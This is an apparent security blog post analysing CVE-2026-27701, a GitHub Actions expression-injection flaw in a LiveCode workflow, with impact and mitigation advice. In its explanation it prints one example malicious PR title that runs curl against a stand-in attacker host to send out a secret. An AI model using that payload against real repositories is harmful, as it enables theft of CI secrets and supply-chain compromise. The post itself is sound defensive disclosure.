By falco365 · Published April 22, 2026

CVE-2026-27701: JavaScript injection via PR title in LiveCode's GitHub Actions

A LiveCode GitHub Actions workflow interpolates PR titles directly into a JavaScript block. A crafted title runs attacker code in the workflow runner with the repository's secrets in scope.

CVE-2026-27701: JavaScript injection via PR title in LiveCode's GitHub Actions
Analysis

CVE-2026-27701 is the kind of CI/CD bug that is depressingly easy to ship and nuclear when you do. A LiveCode GitHub Actions workflow interpolates the title of a Pull Request directly into a JavaScript block via ${{ github.event.pull_request.title }}. Anyone who can open a PR against the repository — including forks — can craft a title that contains executable JavaScript. That code runs in the workflow runner with every secret the workflow has access to.

Why “inject into github.event.pull_request.*” is a pattern worth memorizing

GitHub Actions workflows frequently build notifications, comments, or tool invocations that include PR metadata. When an Actions expression like ${{ github.event.pull_request.title }} is interpolated inside a shell script or JavaScript block, the interpolation happens before the shell or JS interpreter sees the string. A PR title of "; curl attacker.example/steal?k=$SECRET; # becomes a literal command or JS expression.

This is not a LiveCode-specific problem. It is a systemic pattern across the GitHub Actions ecosystem. A 2021 Trail of Bits post and a 2023 Google study both cataloged hundreds of public repositories with the same vulnerability shape. CVE-2026-27701 is a new case; it will not be the last.

Never interpolate attacker-controlled strings into a run or script block. Pass them via environment variables (env:) so the shell or JS runtime sees them as plain data, not code.
What an attacker gets

A working exploit on this class of bug yields, in approximate order of severity:

  • Arbitrary code execution in the workflow runner.
  • Every secret scoped to that workflow — frequently including GITHUB_TOKEN with write access to the repository, and often deployment keys, cloud credentials, or package-registry tokens.
  • The ability to push malicious commits, create tags, publish releases, or merge PRs under the identity of the repo's automation.
  • If the runner is self-hosted, persistent access to the runner VM itself — and by extension the internal network it lives on.

The step from "open a PR against an open-source repo" to "publish a supply-chain-compromised release" is shorter than most organizations imagine.

Mitigation
  • Audit every workflow in every repository for ${{ github.event.*.title }}, ${{ github.event.*.body }}, ${{ github.head_ref }}, or similar attacker-controlled interpolations inside run or with: script blocks. Use actionlint or zizmor to automate this.
  • Replace interpolations with environment variables: env: PR_TITLE: ${{ github.event.pull_request.title }}, then reference $PR_TITLE or process.env.PR_TITLE in the script body. The shell sees data, not code.
  • Restrict pull_request_target triggers — they run with the base repo's secrets even on forked PRs. This is the most dangerous trigger in Actions and deserves a separate review pass.
  • Rotate any secrets that were exposed to a vulnerable workflow during the disclosure window. Assume exposure, not hope.
The broader pattern

CI/CD systems are the highest-leverage attack surface in modern software delivery: they have write access to production artifacts, often have write access to cloud infrastructure, and are configured by developers who are not full-time security engineers. CVE-2026-27701 is one specific instance of a class of vulnerabilities that will keep landing in public repositories indefinitely. The defensive posture that works is static analysis for Actions expression injection, every PR, every repo, every day. It is tedious and it is the only thing that scales.